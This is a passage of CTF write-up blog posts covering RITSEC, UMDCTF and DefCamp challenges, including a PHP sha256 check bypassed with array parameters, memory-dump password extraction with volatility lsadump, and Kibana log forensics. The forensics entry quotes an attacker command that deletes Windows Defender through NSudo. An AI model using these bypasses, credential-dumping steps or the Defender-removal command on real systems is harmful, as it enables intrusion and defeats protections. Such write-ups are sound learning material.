if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require 'flag.php';
?>
<!DOCTYPE html>
<html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
      text-align: center;
    }

    hr {
      width: 50%;
    }

    code {
      font-size: 2rem;
      font-weight: 500;
    }

    .error {
      color: red;
    }

    .success {
      color: green;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
  </style>
  <title>PHP 3</title>
</head>

<body>
  <img src="/php3/drippy_bingus.jpeg" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>3</b></h1>
  <?php
  if (isset($_GET['input1']) and isset($_GET['input2'])) {
    if ($_GET['input1'] == $_GET['input2']) {
      print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
    } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
      output_flag();
    } else {
      print '<h3 class="error">Your inputs don\'t match</h3>';
    }
  }
  ?>
  <p>See if you can make the sha256 hashes match</p>
  <br />
  <a href="/php3/index.php?source=true">Source Code</a>
  <form method="get">
    <input type="text" required name="input1" placeholder="Input 1" />
    <p>Hash: <?php if (isset($_GET['input1'])) print hash("sha256", $_GET['input1']) ?></p>
    <input type="text" required name="input2" placeholder="Input 2" />
    <p>Hash: <?php if (isset($_GET['input2'])) print hash("sha256", $_GET['input2']) ?></p>
    <input type="submit" />
  </form>
</body>

</html>
<?php


以下の判定処理より緩やかな一致では等しくないが、厳密な一致では等しい値をinput1とinput2のGETリクエストで渡すとflagが表示される。

  if (isset($_GET['input1']) and isset($_GET['input2'])) {
    if ($_GET['input1'] == $_GET['input2']) {
      print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
    } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
      output_flag();
    } else {
      print '<h3 class="error">Your inputs don\'t match</h3>';
    }


既知の内容でsha256 collision phpで調べると文献がある。

https://stackoverflow.com/questions/53080807/sha256-hash-collisions-between-two-strings/53081240

配列の形式ではbypassできるとのこと
以下URLでフォーム上はエラーになるがflagが表示される。
https://ctf.ritsec.club/php3?input1[0]=1&input2[1]=1

f:id:SYN-ACK:20220404202456j:plain

flag : RS{Th3_H@sh_Sl1ng1ng_5lash3r}



Down the Data Streams

Can you find it?
<br>
Some brute-forcing is allowed.
<br>
Directories are found on the first page
https://ctf.ritsec.club/data-streams


指定されたURLへアクセスすると以下のメッセージが表示される。

Start: /6610e477ddefc14511cc4f261c3c608d.txt


以下のURLへアクセスすると数列が表示される。
https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt

[0, '89504e470d0a1a0a0000000d49484452'] f1c0647234d033c43d05ed798f34d1af


表示された値を元に以下URLへアクセスする。
https://ctf.ritsec.club/data-streams/f1c0647234d033c43d05ed798f34d1af.txt

[11628, '419b79d96aac9743a332abc4d3f291d3'] 5728c2dc294629e33a44bb5b745f052c

なんとなく1列目がINDEX値、2列目がPNGバイト列(89 50 4e 47で始まるため)、3列目がファイル名と予想される。2列目のPNGバイト列を抽出して結合すればflagが表示されるはず。

普段はやらないプログラミングに挑戦してみる。試しに3回だけ取得する処理を実行する。

>>> import requests
>>> r = requests.get('https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt')
>>> png =''
>>> png = png + r.text
>>>
>>> for i in range(3):
...     r = requests.get('https://ctf.ritsec.club/data-streams/'+r.text[-32:]+'.txt')
...     png = png +'\n' + r.text
...     i = i+1
...
>>> print(png)
[0, '89504e470d0a1a0a0000000d49484452'] f1c0647234d033c43d05ed798f34d1af
[11628, '419b79d96aac9743a332abc4d3f291d3'] 5728c2dc294629e33a44bb5b745f052c
[9765, '9b9ffeecc7afbf716d776f1c7643cb8e'] 922371925a235b713156a23da7e8276d
[3212, '38ab28f59e9028651377b9bb27f65399'] 0d069134327851a1be09b71f0f5d70ed
>>>


成功しているようだ。全てのバイト列を取得する。(大体2時間ぐらいかかる。)

import requests
r = requests.get('https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt')
png =''
png = png + r.text

for i in range(14421):
    r = requests.get('https://ctf.ritsec.club/data-streams/'+r.text[-32:]+'.txt')
    png = png +'\n' + r.text
    i = i+1


取得したpngバイト列をファイルに出力する。

>>> f = open('png.txt', 'w', encoding='UTF-8')
>>> f.write(png)
>>> f.close()


取得したファイルからExcelを駆使してPNG文字列を抽出したらcyberchefに投げて終わり。

f:id:SYN-ACK:20220404204318j:plain

flag : RS{81ngus5_w3b_53rvic3s}



Forensic

Bad C2

Not very versatile malware

Author : degenerat3


添付ファイルのpcapファイルを確認するとhttpプロトコルにてC2サーバとやり取りしているログが確認できる。
やり取りされているC2サーバのIPアドレスグローバルIPが利用されている。
41パケット目でJSON形式でPOSTリクエストを投げている。
f:id:SYN-ACK:20220404204729j:plain

上記のjson形式の設定にてfalseをtrueに変えてHTTPプロトコルでアクセスするとflagが表示される。
f:id:SYN-ACK:20220404204810j:plain
実際のC2サーバではhttps通信やC3連携(slackなど)で通信内容を秘匿するのでhttpで通信が漏洩するのがイケていない?

flag : RS{m4gic_word_is_4lw4ys_b31ng_p0lit3}



Cyber Survey

Lookin' like a Fujitsu FI-6800

Author : degenerat3


添付ファイルを確認するとTCPプロトコルの通信が確認できる。

Protocol階層でデータストリームを確認するとDataがあるので選択する。
f:id:SYN-ACK:20220404205446j:plain

宛先Portポート番号は全て40000のポート番号になっている。

40082
40083
40123
 ・
 ・


f:id:SYN-ACK:20220404205737j:plain


末尾の3桁の番号はなんとなくASCII文字っぽい。

>>> chr(82)
'R'
>>> chr(83)
'S'
>>> chr(123)
'{'


むむむ...

宛先Port番号の末尾3桁をASCII文字にしたものがflagになる。

flag :RS{sc4ns_bett3r_than_4n_hp_d3skjet3755}



感想

・なぜ人は他にやらなければならないことが有るときほど、CTFが捗ってしまうのか。不思議だね。

UMDCTF 2022 - Writeup

金, 04 3月 2022, 23:00 UTC — 日, 06 3月 2022, 23:00 UTCに開催されたUMDCTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で2問だけ解いたので、以下にWriteupを記載する。

Forensic

Renzik's Case

My friend deleted important documents off of my flash drive, can you help me find them?

Renziks_Case.zip

Author: matlac


添付ファイルはUSBのイメージファイル。 普通に認識できる状態のためFTKImagerで読みだしてみる。
ゴミ箱の中にflagの記載された画像がある。


f:id:SYN-ACK:20220311220714j:plain

flag : UMDCTF-{Sn00p1N9_L1K3_4_Sl317h!}



Reverse

tiny

Scan for free crypto currency!

tiny.png

Author: matlac

f:id:SYN-ACK:20220311221247p:plain
tiny.png



添付のQRコードをParseするとBase64エンコードされたXZファイルが取得できる。

f:id:SYN-ACK:20220311221544j:plain

XZファイルを解凍するとELFファイル(MISP形式)が得られる。

得られたelfファイルをghidraでdecompileするとmain関数で以下の処理を実施している。

f:id:SYN-ACK:20220311222457j:plain

① main関数
undefined4 main(void)

{
  FUN_00400834(0);
  FUN_00400974(0);
  return 0;
}


②FUN_00400834
undefined4 FUN_00400834(uint uParm1)

{
  uint uStack36;
  undefined4 uStack32;
  undefined4 uStack28;
  undefined4 uStack24;
  undefined4 uStack20;
  undefined2 uStack16;
  int iStack12;

  iStack12 = __stack_chk_guard;
  uStack32 = 0x756c6660;
  uStack28 = 0x70637d6f;
  uStack24 = 0x3b705566;
  uStack20 = 0x3c60513e;
  uStack16 = 0x7d4e;
  if ((uParm1 & 0x1fffffff) == 0) {
    puts("lol no");
  }
  else {
    uStack36 = 0;
    while ((int)uStack36 < 0x12) {
      putchar((int)*(char *)((int)&uStack32 + uStack36) ^ uStack36);
      uStack36 = uStack36 + 1;
    }


⇒上記のuStack32とuStack28とuStack24とuStack20とuStack16部分については格納された値とindex番号をXORする処理を0x0~0x11(=18)回実施している。

>>> chr(0x75^0x0)
'u'
>>> chr(0x6c^0x1)
'm'
>>> chr(0x66^0x2)
'd'
>>> chr(0x60^0x3)
'c'
>>> chr(0x70^0x4)
't'
>>> chr(0x63^0x5)
'f'
>>> chr(0x7d^0x6)
'{'
>>> chr(0x6f^0x7)
'h'
>>> chr(0x3b^0x8)
'3'
>>> chr(0x70^0x9)
'y'
>>> chr(0x55^0xa)
'_'
>>> chr(0x66^0xb)
'm'
>>> chr(0x3c^0xc)
'0'
>>> chr(0x60^0xd)
'm'
>>> chr(0x51^0xe)
'_'
>>> chr(0x3e^0xf)
'1'
>>> chr(0x7d^0x10)
'm'
>>> chr(0x4e^0x11)
'_'


③FUN_00400974
undefined4 FUN_00400974(int iParm1)

{
  int iStack68;
  int aiStack64 [13];
  int iStack12;

  iStack12 = __stack_chk_guard;
  memcpy(aiStack64,&DAT_00400c94,0x34);
  if (iParm1 == 0) {
    puts("lol no");
  }
  else {
    iStack68 = 0;
    while (iStack68 < 0xd) {
      putchar(aiStack64[iStack68] >> 2 ^ 2);
      iStack68 = iStack68 + 1;
    }
  }
  if (iStack12 == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

⇒&DAT_00400c94に設定したデータを配列型としてaiStack64に渡している。

&DAT_00400c94
        00400c94 00              ??         00h
        00400c95 00              ??         00h
        00400c96 00              ??         00h
        00400c97 ca              ??         CAh
        00400c98 00              ??         00h
        00400c99 00              ??         00h
        00400c9a 01              ??         01h
        00400c9b b2              ??         B2h
        00400c9c 00              ??         00h
        00400c9d 00              ??         00h
        00400c9e 01              ??         01h
        00400c9f 76              ??         76h    v
        00400ca0 00              ??         00h
        00400ca1 00              ??         00h
        00400ca2 01              ??         01h
        00400ca3 da              ??         DAh
        00400ca4 00              ??         00h
        00400ca5 00              ??         00h
        00400ca6 01              ??         01h
        00400ca7 aa              ??         AAh
        00400ca8 00              ??         00h
        00400ca9 00              ??         00h
        00400caa 00              ??         00h
        00400cab c6              ??         C6h
        00400cac 00              ??         00h
        00400cad 00              ??         00h
        00400cae 01              ??         01h
        00400caf 76              ??         76h    v
        00400cb0 00              ??         00h
        00400cb1 00              ??         00h
        00400cb2 01              ??         01h
        00400cb3 c2              ??         C2h
        00400cb4 00              ??         00h
        00400cb5 00              ??         00h
        00400cb6 01              ??         01h
        00400cb7 0a              ??         0Ah
        00400cb8 00              ??         00h
        00400cb9 00              ??         00h
        00400cba 01              ??         01h
        00400cbb 9a              ??         9Ah
        00400cbc 00              ??         00h
        00400cbd 00              ??         00h
        00400cbe 00              ??         00h
        00400cbf ce              ??         CEh
        00400cc0 00              ??         00h
        00400cc1 00              ??         00h
        00400cc2 01              ??         01h
        00400cc3 b6              ??         B6h
        00400cc4 00              ??         00h
        00400cc5 00              ??         00h
        00400cc6 01              ??         01h
        00400cc7 fe              ??         FEh


aiStack64にstackした値を4バイト毎に2bit右シフトして2でxorする。

>>> chr(0x00CA>>2^2)
'0'
>>> chr(0x01B2>>2^2)
'n'
>>> chr(0x0176>>2^2)
'_'
>>> chr(0x01DA>>2^2)
't'
>>> chr(0x01AA>>2^2)
'h'
>>> chr(0x00C6>>2^2)
'3'
>>> chr(0x0176>>2^2)
'_'
>>> chr(0x01C2>>2^2)
'r'
>>> chr(0x010A>>2^2)
'@'
>>> chr(0x019A>>2^2)
'd'
>>> chr(0x00CE>>2^2)
'1'
>>> chr(0x01B6>>2^2)
'o'
>>> chr(0x01FE>>2^2)
'}


②と③を合わせたものがflagになる。

flag : umdctf{h3y_m0m_1m_0n_th3_r@d1o}

感想

jdata のzipファイル形式で作成されたelfファイルの仕組みを気付けなくて悔しい。
CompTIA Security+ :5月取得 ⇒ CISSP :10月取得目指して頑張るノシ!!୧(๑›◡‹ ๑)୨
In these times, I'm against the war anyway, so I'll donate !!

DefCamp CTF 21-22 Online - Writeup

I attended DefCamp CTF 21-22 Online on Fri, 11 Feb 2022, 09:00 UTC - Sun, 13 Feb 2022, 15:00 UTC with a team from my company. It's been a while since I submitted a flag, so here's a writeup.

Forensic

this-file-hides-something

Description:
There is an emergency regarding this file. We need to extract the password ASAP. It's a crash dump, but our tools are not working. Please help us, time is not on our side.

PS: Flag format is not standard.

Author:Wolf
Difficulty:Medium
Attachments:crashdump.zip(0.7GB)



If you download and unzip the problem file, you will find an elf file.
f:id:SYN-ACK:20220214225703j:plain


I'll assume it's a memory dump and check the information in volatility.

root@wh:/home/wh/crashdump# vol -f crashdump.elf imageinfo
volatility  volname     
root@wh:/home/wh/crashdump# volatility -f crashdump.elf imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : OSXPmemELF (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/wh/crashdump/crashdump.elf)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002831120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002833000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2022-02-06 11:04:38 UTC+0000
     Image local date and time : 2022-02-06 03:04:38 -0800



It seems that the OS of the memory analysis target is the one of Win2008R2. I proceed to investigate based on the profile information I got. Since the question says that we want to know the password, we check the password with lsadump option.

root@wh:/home/wh/crashdump# volatility -f crashdump.elf --profile=Win2008R2SP0x64 lsadump
Volatility Foundation Volatility Framework 2.5
DefaultPassword
0x00000000  1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000010  53 00 74 00 72 00 30 00 6e 00 67 00 41 00 73 00   S.t.r.0.n.g.A.s.
0x00000020  41 00 52 00 30 00 63 00 6b 00 21 00 00 00 00 00   A.R.0.c.k.!.....

DPAPI_SYSTEM
0x00000000  2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010  01 00 00 00 26 db 41 81 81 b7 74 99 0d b8 a0 2a   ....&.A...t....*
0x00000020  0d 0f 0e d0 92 6b 77 1d 64 73 ab 60 47 1e 07 07   .....kw.ds.`G...
0x00000030  ab a8 fa dd 57 f3 6b 51 2e 0a 4f 79 00 00 00 00   ....W.kQ..Oy....



Because the part of DefaultPassword becomes a password, Flag is Str0ngAsAR0ck!.

flag : Str0ngAsAR0ck!

Misc

cant-touch-this

Description:
The Nesteaz company suffered from a security breach. We are low on personnel and we require your help in investigating the events collected from the compromised machine.

Credentials: elastic/k8jTYMCoAqppB

✅ Please provide the user account on which malicious actions were executed. (Points: 50)
✅ We need the IP of the compromised machine (Points: 50)
✅ The attackers managed to execute some malicious scripts without being detected by our security systems. Can you determine which program was executed? (Points: 50)
✅ What system management tool did the attacker use in order to launch its program with full privileges? (Points: 50)
✅ We know that the attacker managed to download an infected executable using a Windows utility. We need that name, please. (Points: 50)
✅ The attacker managed to give full privileges to his account. We need the code of the event triggered by this action. (Points: 50)

Author:Wolf
Difficulty:Medium
Attachments:N/A
Address:34.141.93.151:32729



When you access the URL, you will see Kibana's management console screen.

f:id:SYN-ACK:20220215090951j:plain

Click Discover in the left pane of Kibana.

f:id:SYN-ACK:20220215091127j:plain

You can see the log of winlogbeat-*, which seems to be a mechanism to collect Windows event logs using beat.

f:id:SYN-ACK:20220215091159j:plain

Since 15-minute intervals don't give any information, we specify a search period of logs up to a fortnight ago. We can see that the attacker's access occurred between 2/2 and 2/9.

f:id:SYN-ACK:20220215091402j:plain

A quick look at the log shows that there is a suspicious user named user.name: "malware_attacker", so do a keyword search for malware_attacker.
The number of hits is reduced from 43,596 to 22,468.

f:id:SYN-ACK:20220215091547j:plain

Also, a quick look at the logs shows that the malware_attacker is operating under C:\Users\plant\, so do a keyword search on plant.
The number of hits is reduced from 22,468 to 1,482.

f:id:SYN-ACK:20220215091825j:plain

Looking at the log, we can see the following suspicious activity.

@timestamp Feb 9, 2022 @ 01:58:27.422
_index winlogbeat-7.9.3-2022.02.08-000001
host.name DESKTOP-IHO95MC
host.os.kernel 10.0.19041.1466 (WinBuild.160101.0800)
host.os.name Windows 10 Home
message 
 Image: C:\Users\plant\AppData\Local\Temp\NSudo.exe
 Description: NSudo for Windows
 Product: NSudo
 Company: M2-Team
 OriginalFileName: NSudo.exe
 CommandLine: NSudo  -U:T -ShowWindowMode:Hide  sc delete  windefend  
 CurrentDirectory: C:\Users\plant\AppData\Local\Temp\
process.parent.command_line C:\Windows\system32\cmd.exe /c ""C:\Users\plant\OneDrive\Desktop\stuff-i-want\Defeat-Defender.bat" "



From the above log, we can see the following
・The operating system of the attacked device is Windows 10 Home and the IP is 192.168.0.108.

・NSudo for Windows is a tool used to launch any application with administrator rights.  github.com
・You have removed the Windows Defender service with administrative rights to make it harder to be detected, and it is running from Defeat-Defender.bat on OneDrive.

Search for download to check the malware download process.
The number of hits is reduced from 1,482 to 112.

f:id:SYN-ACK:20220215092320j:plain

After downloading Defeat-Defender.bat from the following log to check the process related to the download, WinUpdate.exe is renamed and placed under the startup folder. This setting has been made permanent to run automatically at PC startup.

f:id:SYN-ACK:20220215120150j:plain

Finally, I'm looking for logs related to privilege escalation. user.txt is available, so I'd like to get root.txt and do some things as administrator.
If you check the log, you will find that winlog.event_id : 4672,message : Special privileges assigned to new logon.
f:id:SYN-ACK:20220215120308j:plain

This event generates for new account logons if any of the following sensitive privileges are assigned to the new logon session.This means that you get administrator rights. docs.microsoft.com


Based on the above, the FLAG is as follows.

flag :

✅ Please provide the user account on which malicious actions were executed.
 ⇒ malware_attacker
✅ We need the IP of the compromised machine
 ⇒ 192.168.0.108
✅ The attackers managed to execute some malicious scripts without being detected by our security systems. Can you determine which program was executed?
 ⇒ Defeat-Defender.bat
✅ What system management tool did the attacker use in order to launch its program with full privileges?
 ⇒ NSudo.exe
✅ We know that the attacker managed to download an infected executable using a Windows utility. We need that name, please.
 ⇒ WinUpdate.exe
✅ The attacker managed to give full privileges to his account. We need the code of the event triggered by this action.
 ⇒ 4672

Finally, we would like to thank you for organising this wonderful competition. Have a nice day !!